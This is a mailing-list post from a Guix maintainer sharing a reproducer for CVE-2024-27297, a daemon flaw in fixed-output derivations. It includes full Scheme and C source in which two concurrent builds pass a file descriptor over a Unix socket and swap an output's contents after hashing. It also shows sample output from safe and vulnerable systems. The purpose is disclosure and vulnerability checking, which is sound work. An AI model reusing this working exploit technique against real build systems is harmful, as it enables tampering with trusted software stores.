Subject: Reproducer for the daemon fixed-output derivation vulnerability

From: Ludovic Courtès <[email-masked]>
Date: Tue, 12 Mar 2024 14:45:56 +0100

As promised, attached is a reproducer that I adapted from the Nix one at
<https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by
puck <https://github.com/puckipedia>.

The program demonstrates the vulnerability using two fixed-output
derivations that must be built concurrently on the same machine.

To do that, run:

  guix build -f fixed-output-derivation-corruption.scm -M4

Normally, you’ll find yourself building
“derivation-that-exfiltrates-fd.drv” and “derivation-that-grabs-fd.drv”
in parallel; the former will send a file descriptor to the latter using
a C program, and the latter will use that file descriptor to modify the
contents of /gnu/store/…-derivation-that-exfiltrates-fd after it has
completed.

On a safe system, the ‘guix build’ command succeeds like this:

--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
The following derivations will be built:
  /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
  /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
  /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv...
building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv
The following build is still in progress:
  /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv

swaptrick finished, now to wait..
successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv
building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv...
This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that-grabs-fd-65f05a81-17185, which will grab the file
descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185.

Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before corruption."

Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185, your system is safe.
successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv
/gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability
--8<---------------cut here---------------end--------------->8---

On a system that is still vulnerable, we get this instead:

--8<---------------cut here---------------start------------->8---
$ guix build -f fixed-output-derivation-corruption.scm -M4
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
/home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host
substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0%
substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 100.0%
The following derivations will be built:
  /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv
  /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
  /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv...
building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv...
accepting connections...
attempting connection...
preparing our hand...
successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv
The following build is still in progress:
  /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv

swaptrick finished, now to wait..
successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv
building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv...
This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that-grabs-fd-65f05aca-17261, which will grab the file
descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261.

Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n"

We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed with exit code 1
build of /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv failed
View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv.gz'.
guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed
--8<---------------cut here---------------end--------------->8---

At this point,
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
is corrupt:

--8<---------------cut here---------------start------------->8---
$ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261
This file has been corrupted!
--8<---------------cut here---------------end--------------->8---

You can remove those corrupt test files by running:

  guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*

You can find corrupt files in your store by running:

  guix gc --verify=contents

This is expensive because it reads every single file under /gnu/store
and check the hash of each store item against that recorded in
/var/guix/db/db.sqlite.  It should flag all the
/gnu/store/…-derivation-that-exfiltrates-fd* outputs.

Ludo’.

;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.

(use-modules (guix)
             (guix modules)
             (guix profiles)
             (gnu packages)
             (gnu packages gnupg)
             (gcrypt hash)
             ((rnrs bytevectors) #:select (string->utf8)))

(define (compiled-c-code name source)
  (define build-profile
    (profile (content (specifications->manifest '("gcc-toolchain")))))

  (define build
    (with-extensions (list guile-gcrypt)
     (with-imported-modules (source-module-closure '((guix build utils)
                                                     (guix profiles)))
       #~(begin
           (use-modules (guix build utils)
                        (guix profiles))
           (load-profile #+build-profile)
           (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))

  (computed-file name build))

(define sender-source
  (plain-file "sender.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <errno.h>

      int main(int argc, char **argv) {
          setvbuf(stdout, NULL, _IOLBF, 0);

          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Set up an abstract domain socket path to connect to.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, \"dihutenosa\");

          // Now try to connect, To ensure we work no matter what order we are
          // executed in, just busyloop here.
          int res = -1;
          while (res < 0) {
              printf(\"attempting connection...\\n\");
              res = connect(sock, (const struct sockaddr *)&data,
                  offsetof(struct sockaddr_un, sun_path)
                    + strlen(\"dihutenosa\")
                    + 1);
              if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
              if (errno != ECONNREFUSED) break;
              usleep(500000);
          }

          // Write our message header.
          struct msghdr msg = {0};
          msg.msg_control = malloc(128);
          msg.msg_controllen = 128;

          // Write an SCM_RIGHTS message containing the output path.
          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
          hdr->cmsg_len = CMSG_LEN(sizeof(int));
          hdr->cmsg_level = SOL_SOCKET;
          hdr->cmsg_type = SCM_RIGHTS;
          int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

          msg.msg_controllen = CMSG_SPACE(sizeof(int));

          // Write a single null byte too.
          msg.msg_iov = malloc(sizeof(struct iovec));
          msg.msg_iov[0].iov_base = \"\";
          msg.msg_iov[0].iov_len = 1;
          msg.msg_iovlen = 1;

          // Send it to the othher side of this connection.
          res = sendmsg(sock, &msg, 0);
          if (res < 0) perror(\"sendmsg\");
          int buf;

          // Wait for the server to close the socket, implying that it has
          // received the commmand.
          recv(sock, (void *)&buf, sizeof(int), 0);
      }"))

(define receiver-source
  (mixed-text-file "receiver.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/inotify.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Bind to the socket.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, \"dihutenosa\");
          int res = bind(sock, (const struct sockaddr *)&data,
              offsetof(struct sockaddr_un, sun_path)
              + strlen(\"dihutenosa\")
              + 1);
          if (res < 0) perror(\"bind\");

          res = listen(sock, 1);
          if (res < 0) perror(\"listen\");

          while (1) {
              setvbuf(stdout, NULL, _IOLBF, 0);
              printf(\"accepting connections...\\n\");
              int a = accept(sock, 0, 0);
              if (a < 0) perror(\"accept\");

              struct msghdr msg = {0};
              msg.msg_control = malloc(128);
              msg.msg_controllen = 128;

              // Receive the file descriptor as sent by the smuggler.
              recvmsg(a, &msg, 0);

              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
              while (hdr) {
                  if (hdr->cmsg_level == SOL_SOCKET
                   && hdr->cmsg_type == SCM_RIGHTS) {
                      int res;

                      // Grab the copy of the file descriptor.
                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
                      printf(\"preparing our hand...\\n\");

                      ftruncate(res, 0);
                      // Write the expected contents to the file, tricking Nix
                      // into accepting it as matching the fixed-output hash.
                      write(res, \"hello, world\\n\", strlen(\"hello, world\\n\"));

                      // But wait, the file is bigger than this! What could
                      // this code hide?

                      // First, we do a bit of a hack to get a path for the
                      // file descriptor we received. This is necessary because
                      // that file doesn't exist in our mount namespace!
                      char buf[128];
                      sprintf(buf, \"/proc/self/fd/%d\", res);

                      // Hook up an inotify on that file, so whenever Nix
                      // closes the file, we get notified.
                      int inot = inotify_init();
                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);

                      // Notify the smuggler that we've set everything up for
                      // the magic trick we're about to do.
                      close(a);

                      // So, before we continue with this code, a trip into Nix
                      // reveals a small flaw in fixed-output derivations. When
                      // storing their output, Nix has to hash them twice. Once
                      // to verify they match the \"flat\" hash of the derivation
                      // and once more after packing the file into the NAR that
                      // gets sent to a binary cache for others to consume. And
                      // there's a very slight window inbetween, where we could
                      // just swap the contents of our file. But the first hash
                      // is still noted down, and Nix will refuse to import our
                      // NAR file. To trick it, we need to write a reference to
                      // a store path that the source code for the smuggler drv
                      // references, to ensure it gets picked up. Continuing...

                      // Wait for the next inotify event to drop:
                      read(inot, buf, 128);

                      // first read + CA check has just been done, Nix is about
                      // to chown the file to root. afterwards, refscanning
                      // happens...

                      // Empty the file, seek to start.
                      ftruncate(res, 0);
                      lseek(res, 0, SEEK_SET);

                      // We swap out the contents!
                      static const char content[] = \"This file has been corrupted!\\n\";
                      write(res, content, strlen (content));
                      close(res);

                      printf(\"swaptrick finished, now to wait..\\n\");
                      return 0;
                  }

                  hdr = CMSG_NXTHDR(&msg, hdr);
              }
              close(a);
          }
      }"))

(define nonce
  (string-append "-" (number->string (car (gettimeofday)) 16)
                 "-" (number->string (getpid))))

(define original-text
  "This is the original text, before corruption.")

(define derivation-that-exfiltrates-fd
  (computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
                 (with-imported-modules '((guix build utils))
                   #~(begin
                       (use-modules (guix build utils))
                       (invoke #+(compiled-c-code "sender" sender-source))
                       (call-with-output-file #$output
                         (lambda (port)
                           (display #$original-text port)))))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256
                                      (string->utf8 original-text)))))

(define derivation-that-grabs-fd
  (computed-file (string-append "derivation-that-grabs-fd" nonce)
                 #~(begin
                     (open-output-file #$output) ;make sure there's an output
                     (execl #+(compiled-c-code "receiver" receiver-source)
                            "receiver"))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256 #vu8()))))

(define check
  (computed-file "checking-for-vulnerability"
                 #~(begin
                     (use-modules (ice-9 textual-ports))

                     (mkdir #$output)            ;make sure there's an output
                     (format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
                             #+derivation-that-grabs-fd
                             #+derivation-that-exfiltrates-fd)

                     (let ((content (call-with-input-file
                                        #+derivation-that-exfiltrates-fd
                                      get-string-all)))
                       (format #t "Here is what we see in ~a: ~s~%~%"
                               #+derivation-that-exfiltrates-fd content)
                       (if (string=? content #$original-text)
                           (format #t "Failed to corrupt ~a, \
your system is safe.~%"
                                   #+derivation-that-exfiltrates-fd)
                           (begin
                             (format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
                                     #+derivation-that-exfiltrates-fd)
                             (exit 1)))))))

check